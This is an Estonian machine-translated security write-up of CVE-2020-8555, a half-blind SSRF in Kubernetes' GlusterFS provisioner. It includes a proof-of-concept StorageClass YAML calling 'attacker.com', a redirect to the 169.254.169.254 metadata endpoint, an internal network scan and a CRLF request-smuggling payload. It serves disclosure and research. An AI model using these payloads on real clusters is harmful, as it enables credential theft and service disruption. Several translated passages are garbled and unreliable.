Kui teema ei puuduta ainult Kubernetes'e haavatavust


MĂ€rkus tĂ”lke kohta.: artikli autorid rÀÀgivad pĂ”hjalikult, kuidas nad suutsid leida haavatavuse CVE-2020–8555 Kuberneteses. Kuigi algselt nĂ€gi see vĂ€lja mitte vĂ€ga ohtlikuna, osutus selle kriitilisus koos teiste teguritega mĂ”nede pilveteenuste pakkujate puhul maksimaalseks. Tehtud töö eest premeeris mitmed organisatsioonid heldelt spetsialiste.

Kui teema ei puuduta ainult Kubernetes'e haavatavust


Kes me oleme

Meie oleme kaks Prantsuse kĂŒberturbeuurijat, kes avastasid koos haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, aga paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:

Mis juhtus?

See artikkel on meie viis rÀÀkida sellest, kuidas tavaline uurimisprojekt muutus ootamatult kÔige pÔnevamaks seikluseks bugide jahil (vÀhemalt hetkel).

Kuidas te ilmselt teate, on bugide jahimeestel paar mÀrkimisvÀÀrset omadust:

  • nad elavad pitsade ja Ă”lle peal;
  • nad töötavad siis, kui kĂ”ik teised magavad.

Meie ei ole nende reeglite erand: tavaliselt kohtume nĂ€dalavahetustel ja veedame unetuks muutvaid hĂ€kkimisöid. Aga ĂŒks selline öö lĂ”ppes ĂŒsna ebatavaliselt.

Alguses plaanisime kohtuda, et arutada osalemist CTF jĂ€rgmisel pĂ€eval. RÀÀkides Kubernetes'e turvalisusest hallatavates teenusekeskkondades, meenutasime vana ideed SSRF (Server-Side Request Forgery) ja otsustasime proovida kasutada seda rĂŒnnakuskeemina.

Kell 11 Ôhtul alustasime uurimistöödega ja lÀksime magama varakult hommikul, vÀga rahuldava tulemusega. Just nende uuringute tÔttu sattusime MSRC Bug Bounty programmi ja töötasime vÀlja Ôiguste eskaleerimise eksploidimise.

Möödusid nĂ€dalad/kuud ja meie ootamatud tulemused andsid meile ĂŒhe kĂ”rgeima preemia Ajaloo Azure Cloud Bug Bounty - lisaks sellele, mille me saime Kuberneteselt!

Meie uurimisprojekti alusel avaldas Kubernetes Product Security Committee CVE-2020–8555.

NĂŒĂŒd soovime vĂ”imalikult palju jagada teavet leitud haavatavuse kohta. Loodame, et hindate leidmist ja jagate tehnilisi detaile teiste infosec kogukonna liikmetega!

Nii et siin on meie lugu


Kontekst

Kuidas Kubernetes töötab pilvehallatavas keskkonnas, et mÔista maksimaalselt toimunu tÀhendust, vaatame kÔigepealt.

Kui loote Kubernetes klastrite egmendi sellises keskkonnas, vastutab tavaliselt halduskihi töö eest pilveteenuse pakkuja.

Kui teema ei puuduta ainult Kubernetes'e haavatavust

Halduskiht asub pilvepakkuja perimeetris, samas kui Kubernetes sÔlmed asuvad kliendi perimeetris.

DĂŒnaamiliseks mahute mÀÀramiseks kasutatakse mehhanismi, mis pakub neid dĂŒnaamiliselt vĂ€listest salvestusvaradest ja seondub PVC-ga (persistent volume claim, st sĂ€ilitusnĂ”ue).

Niipea, kui PVC on loodud ja seondatud StorageClass’iga K8s klastri, vastutab jĂ€rgmiste mahute mÀÀramise eest kube/cloud controller manager (tema tĂ€pne nimetus sĂ”ltub vĂ€ljaandest). (MĂ€rkus tĂ”lke kohta.: Lisainfot CCM kohta, kasutades ĂŒhe pilveteenuse pakkuja rakenduse nĂ€idet, oleme juba kirjutanud. siin.)

On mitmeid provisioner’ite variante, mida Kubernetes toetab: enamik neist on kaasatud orkestri tuumikusse,samuti haldavad teised tĂ€iendavad provisioner’id, mis asuvad klastris pod’des.

Oma uurimises keskendusime mahute mÀÀramise sisemisele mehhanismile, mida illustreeritakse allpool:

Kui teema ei puuduta ainult Kubernetes'e haavatavust

DĂŒnaamiline mahute mÀÀramine kasutades Kubernetes’i sisseehitatud provisioner’it.

LĂŒhidalt, kui Kubernetes on seadistatud hallatavas keskkonnas, vastutab controller manager’i töö eest pilveteenuse pakkuja, kuid mahute loomise nĂ”ue (number 3 ĂŒlaltoodud skeemis) lahkub pilvepakkuja sisemisest vĂ”rgust. Ja siit muutub olukord tĂ”eliselt pĂ”nevaks!

RĂŒnnaku stsenaarium

Selles jaotises rÀÀgime, kuidas kasutasime eespool mainitud töövoogu ja saime juurdepÀÀsu pilveteenuse pakkuja sisemistele ressurssidele. Samuti nĂ€itame, kuidas teatud toiminguid teostada – nĂ€iteks hankida sisemised autentimisteated vĂ”i tĂ”sta Ă”igusi.

Üks lihtne manipulatsioon (sel juhul Service Side Request Forgery) aitas saavutada juurdepÀÀsu klientide keskkonnast vĂ€lja erinevate pilotu teenuse pakkujate K8s klastrites.

Oma uuringutes keskendusime GlusterFS provisionerile. Kuigi jÀrgmised sammud on kirjeldatud sellises kontekstis, on sama haavatavus ka Quobyte, StorageOS ja ScaleIO puhul.

Kui teema ei puuduta ainult Kubernetes'e haavatavust

Mahtude dĂŒnaamilise pakkumise mehhanismi Ă€rakasutamine

LĂ€henedes salvestusklasside analĂŒĂŒsile GlusterFS Go keeles kliendi lĂ€htekoodis me mĂ€rgati, et esimese HTTP-pĂ€ringu (3), mis saadeti mahtu luues, lĂ”ppu kasutaja URL-is parameetrina resturl sama teave, mis tavalisele konteinerile. /volumes.

Otsustasime selle lisatee eemaldada, lisades # parameetris resturl. See on esimene YAML-konfiguratsioon, mida kasutasime "poolpimedate" SSRF-haavatavuse testimiseks (lisateavet poolpimedate vĂ”i half-blind SSRF kohta vĂ”ib leida nĂ€iteks siin — toimetaja mĂ€rkus):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

SeejĂ€rel kasutasime Kubernetes klastrite kaugjuhtimiseks binaarfaili kubectl. Üldiselt vĂ”imaldavad pilveteenuse pakkujad (Azure, Google, AWS jne) selle tööriista kasutamiseks mandaate hankida.

Selle tÔttu Ônnestus meil rakendada oma "eriline" fail. Kube-controller-manager sooritas lÔpptulemusena HTTP-pÀringu:

kubectl create -f sc-poc.yaml

Kui teema ei puuduta ainult Kubernetes'e haavatavust

RĂŒnnaku seisukohalt

Varsti pĂ€rast seda suutsime ka saada HTTP-vastuse sihtserverilt — lĂ€bi kĂ€skude describe pvc vĂ”i get events kubectlis. Ja tĂ”epoolest: see Kubernetesi draiver on vaikimisi liiga sĂ”nakas oma hoiatuste/veateadete osas...

Siin on nÀide lingist https://www.google.fr, mis on seadistatud parameetrina resturl:

kubectl describe pvc poc-ssrf
# vÔi vÔite kasutada ka kubectl get events

Kui teema ei puuduta ainult Kubernetes'e haavatavust


Sellise lÀhenemise raames olime piiratud pÀringutega, mis olid HTTP POST ja ei saanud vastuse kehast sisu, kui tagastatud kood oli 201. SeetÔttu otsustasime teha tÀiendavaid uuringuid ja laiendasime seda hÀkkimisskeemi uute lÀhenemistega.

Meie uuringute evolutsioon

  • EdasijĂ”udnud stsenaarium nr 1: 302. suunamise kasutamine vĂ€lisest serverist HTTP meetodi muutmiseks, et leida paindlikum viis sisemiste andmete kogumiseks.
  • EdasijĂ”udnud stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.
  • TĂ€psem stsenaarium №3: HTTP CRLF + salakaubanduse ('smuggling') HTTP-pĂ€ringute kasutamine kohandatud HTTP-pĂ€ringute loomiseks ja andmete saamiseks kube-controller'i logidest.

Tehnilised spetsifikatsioonid

  • Uuringutes kasutati Azure Kubernetes Service (AKS) Kubernetes versiooniga 1.12 North Europe piirkonnas.
  • Ülaltoodud stsenaariumid viidi lĂ€bi Kubernetes'i viimastel vĂ€ljaannetel, vĂ€lja arvatud kolmas stsenaarium, kuna see nĂ”udis Kubernetes'i, mis on kompileeritud Golang versiooniga ≀ 1.12.
  • RĂŒndaja vĂ€line server — https://attacker.com.

TĂ€psem stsenaarium №1: HTTP POST-pĂ€ringu ĂŒmbersuunamine GET-iks ja konfidentsiaalsete andmete saamine

Algne meetod oli tĂ€iustatud rĂŒndaja serveri seadistamisega selleks, et tagastada 302 HTTP Retcode, et konverteerida POST-pĂ€ring GET-pĂ€ringuks (samm 4 skeemil):

Kui teema ei puuduta ainult Kubernetes'e haavatavust


Esimene pĂ€ring (3), mis pĂ€rineb kliendilt GlusterFS (Controller Manager), on tĂŒĂŒbiga POST. JĂ€rgides jĂ€rgmisi samme, suudame selle muuta GET-iks:

  • Parameetrina resturl StorageClass'is on mÀÀratud http://attacker.com/redirect.php.
  • LĂ€bipÀÀs https://attacker.com/redirect.php vastab 302 HTTP staatusekoodiga jĂ€rgmise Location Header'iga: http://169.254.169.254. See vĂ”ib olla mis tahes muu sisemine ressurss — antud juhul kasutatakse ĂŒmbersuunamislinki ainult nĂ€itena.
  • Vaikimisi net/http teek Golang'ist suunab pĂ€ringu ĂŒmber ja konverteerib POST-i GET-iks 302. staatusekoodiga, mille tulemuseks on HTTP GET-pĂ€ring sihtressursile.

HTTP-vastuse keha lugemiseks tuleb teha describe PVC objekti:

kubectl describe pvc xxx

Siin on nÀide HTTP-vastusest JSON-formaadis, mille suutsime saada:

Kui teema ei puuduta ainult Kubernetes'e haavatavust


Leitud haavatavuse vÔimalused olid sel hetkel piiratud jÀrgmiste pÔhjuste tÔttu:

  • VĂ”imetus lisada HTTP-pealkirju vĂ€ljastatud pĂ€ringusse.
  • VĂ”imetus teha POST-pĂ€ringut parameetritega kehas (nii on mugav kĂŒsida vĂ”tme vÀÀrtust etcd eksemplarilt, mis töötab 2379 portil, kui kasutatakse krĂŒpteerimata HTTP-d).
  • VĂ”imetus saada vastuse keha sisu, kui staatusekood oli 200 ja vastusel ei olnud JSON Content-Type'i.

TĂ€psem stsenaarium №2: kohaliku vĂ”rgu skaneerimine

Seda meetodit half-blind SSRF kasutati seejĂ€rel pilveteenuse pakkuja sisevĂ”rgu skaneerimiseks ja erinevate kuulamisserverite (Metadata eksemplar, Kubelet, etcd jne) kĂŒsitlemiseks vastuste pĂ”hjal kube-controller'ilt.

Kui teema ei puuduta ainult Kubernetes'e haavatavust


Esmalt mÀÀrati Kubernetes'i komponentide standardne kuulamisportide (8443, 10250, 10251 jne) loetelu ning seejÀrel tuli skaneerimisprotsess automatiseerida.

NĂ€htes, et see skannimisviis on vĂ€ga spetsiifiline ja ei ĂŒhildu klassikaliste skannerite ja SSRF-tööriistadega, otsustasime luua oma bash-skripti töötajad, mis automatiseerivad kogu protsessi.

NĂ€iteks, et kiiremini skannida 172.16.0.0/12 sisevĂ”rgu vahemikku, kĂ€ivitati samaaegselt 15 töötajat. Ülaltoodud IP-vahemik valiti puhtalt nĂ€itena ja seda vĂ”ib muuta konkreetse teenusepakkuja IP-vahemikuks.

Ühe IP-aadressi ja ĂŒhe pordi skannimiseks tuleb teha jĂ€rgmist:

  • eemaldada eelmisel korral kontrollitud StorageClass;
  • eemaldada eelmine kontrollitud Persistent Volume Claim;
  • muuta vÀÀrtusi IP ja Port sc.yaml;
  • luua StorageClass uue IP ja pordiga;
  • luua uus PVC;
  • tĂ”mmata skannimistulemused vĂ€lja PVC jaoks describe'iga.

TĂ€psem stsenaarium nr 3: CRLF-sĂŒst + HTTP-smuggling Kubernetes'i "vanades" versioonides

Kui lisaks sellele pakkuja pakkus klientidele vanu K8s-klastrite versioone ja avatakse neile kube-controller-manager'i logide juurde, muutub efekt veelgi mÀrgatavamaks.

RĂŒndajale on tĂ”eliselt palju mugavam muuta oma Ă€ranĂ€gemise jĂ€rgi HTTP-pĂ€ringuid, mis on suunatud tĂ€ieliku HTTP-vastuse saamisele.

Kui teema ei puuduta ainult Kubernetes'e haavatavust


Selle viimase stsenaariumi rakendamiseks pidid olema tÀidetud jÀrgmised tingimused:

  • Kasutajal peab olema juurdepÀÀs kube-controller-manager'i logidele (nagu nĂ€iteks Azure LogInsights).
  • Kubernetes'i klaster peab kasutama Golangi versiooni alla 1.12.

Me kÀivitasime kohalikku keskkonda, mis imiteerib andmevahetust Go-klient GlusterFS ja vale sihtserveri vahel (hetkel hoidume PoC avaldamisest).

Leiti haavatavus, mis puudutas Golangi versioone alla 1.12 ja vĂ”imaldas hĂ€kkeritel lĂ€bi viia HTTP smuggling/CRLF rĂŒnnakuid.

Koondades ĂŒlaltoodud half-blind SSRF koos selle juurde, saime saata pĂ€ringuid oma maitse jĂ€rgi, sealhulgas asendada pealkirju, HTTP meetodeid, parameetreid ja andmeid, mida kube-controller-manager seejĂ€rel töötles.

Siin on nĂ€ide töötavast "pĂŒĂŒgikarpidest" parameetris resturl StorageClass'ist, mis rakendab sarnast rĂŒnnaku stsenaariumi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Tulemuseks on viga unsolicited response, misabout, misabout, misabout kontrolli logidesse. TÀnu vaikimisi sissetulevusele salvestatakse sinna ka vastava HTTP-sÔnumi sisu.

Kui teema ei puuduta ainult Kubernetes'e haavatavust


See oli meie kĂ”ige tulemuslikum "pĂŒĂŒnis" tĂ”endite kontseptsiooni raames.

Kasutades sellist lĂ€henemist, suutsime teostada mĂ”ned jĂ€rgmistest rĂŒnnakutest erinevate haldava k8s pakkujate klastrites: Ă”iguste kĂ”rgendamine metadata-instantside autentimistunnuste kaudu, DoS juhtme abil (ĆĄifreerimata) HTTP-pĂ€ringutega master-instantides etcd ja nii edasi.

MÔjud

Kubernetes'e ametlikus avalduses avastatud SSRF- haavatavuse kohta anti sellele hinnang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kui arvestada ainult Kubernetes'e perimeetri haavatavust, kvalifitseeritakse integriteedi vektor (integrity vector) kui None.

Siiski, vĂ”imalike tagajĂ€rgede hindamine hallatavas teenuse keskkonnas (ja see oli meie uurimise kĂ”ige huvitavam osa!) sundis meid haavatavust ĂŒlekvalifitseerima hinnangule Kriitiline CVSS 10/10 paljude jaotajate jaoks.

Allpool on tÀiendav teave, mis aitab mÔista, millest lÀhtusime vÔimalike tagajÀrgede hindamisel pilvekeskkondades:

Integriteet

  • Remote Command Execution saamnienie esimeseid sisemisi autentimistunnuseid.
  • Üksikuid ĂŒlaltoodud stsenaariume kasutades IDORi (Insecure Direct Object Reference) meetodiga teiste ressursside, mis leiti lokaalses vĂ”rgus.

Privaatsus

  • Liikumine kĂŒlgede vahel tĂ€nu varastatud pilve autentimistunnustele (nĂ€iteks metadata API). Teabe kogumine lokaalsest vĂ”rgust skaneerimisega (SSH versioonide, HTTP-serveri versioonide jms mÀÀramine).
  • Teabe kogumine instantside ja infrastruktuuri kohta sisemiste APIde kĂŒsimise kaudu, nagu metadata API (
  • Klientide andmete vargus pilve autentimistunnuste kaudu.http://169.254.169.254, 
).
  • KĂ”ik ekspluateerimise stsenaariumid, mis on seotud rĂŒnnakuvectoritega

Saadavus

integriteedi (integrity) , vÔivad olla kasutamiseks hÀvitavate tegevuste jaoks ja pÔhjustada, et klientide perimeetri (vÔi mÔne muu) master-instantid oleksid kÀtte saamata., vÔivad olla kasutatud hÀvitavateks eesmÀrkideks ning vÔivad pÔhjustada, et kliendi perimeetri (vÔi mÔne muu) meistriteenused muutuvad kÀttesaamatuks.

Kuna olime K8s-i hallatud keskkonnas ja hindasime mĂ”ju sĂŒsteemi terviklikkusele, vĂ”ib ette kujutada mitmeid stsenaariume, mis vĂ”iksid mĂ”jutada kĂ€ttesaadavust. NĂ€iteks vĂ”ib tuua andmebaasi etcd rikke vĂ”i kriitilise API Kubernetes'i kĂ”ne tegemise.

Ajatelg

  • 6. detsember 2019: teade tuvastatud haavatavusest MSRC Bug Bounty'le.
  • 3. jaanuar 2020: kolmas osapool teavitas Kubernetes'i arendajaid, et töötame turvaprobleemiga. Ja palus arvestada SSRF-i sisemise (in-core) haavatavusena. PĂ€rast seda esitasime ĂŒldise aruande tehniliste detailidega probleemi allika kohta.
  • 15. jaanuar 2020: esitasime Kubernetes'i arendajatele tehnilised ja ĂŒldised aruanded nende pĂ€ringu pĂ”hjal (HackerOne platvormi kaudu).
  • 15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF sĂŒstimine varasemate vĂ€ljundite jaoks peetakse in-core haavatavuseks. LĂ”petasime kohe teiste teenusepakkujate perimeetrite analĂŒĂŒsi: pĂ”hjuse uurimisega tegelema hakkas K8s'i meeskond.
  • 15. jaanuar 2020: HackerOne kaudu saadi MSRC-lt preemia.
  • 16. jaanuar 2020: Kubernetes'i PSC (Product Security Committee) tunnustas haavatavust ja palus selle saladuses hoida kuni mĂ€rtsi keskpaigani, arvestades suurt arvu potentsiaalseid ohvreid.
  • 11. veebruar 2020: saadud preemia Google VRP-lt.
  • 4. mĂ€rts 2020: HackerOne kaudu saadi preemia Kubernetes'lt.
  • 15. mĂ€rts 2020: algselt planeeritud avalik avalikustamine viibiti COVID-19 olukorra tĂ”ttu.
  • 1. juuni 2020: Kubernetes'i ja Microsofti ĂŒhisavaldus haavatavusest.

TL;DR

  • Me joome Ă”lut ja sööme pitsat 🙂
  • Me avastasime in-core haavatavuse Kubernetes'es, kuigi me ei kavatsenud seda teha.
  • Me tegime lisauuringut erinevate pilveteenuste klastrites ning suutsime suurendada haavatavuse tekitatud kahju, et saada lisaks suurepĂ€raseid boonuseid.
  • Selles artiklis leiate palju tehnilisi ĂŒksikasju. Me arutame neid meeleldi teiega (Twitter: @ReeverZax & @__hach_).
  • Selgus, et kĂ”ikvĂ”imalikud formaliteedid ja aruannete koostamine vĂ”tavad kauem aega, kui oodati.

Viidatud lingid

P.S. tÔlkijalt

Lugege ka meie blogist:

Allikas: habr.com

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster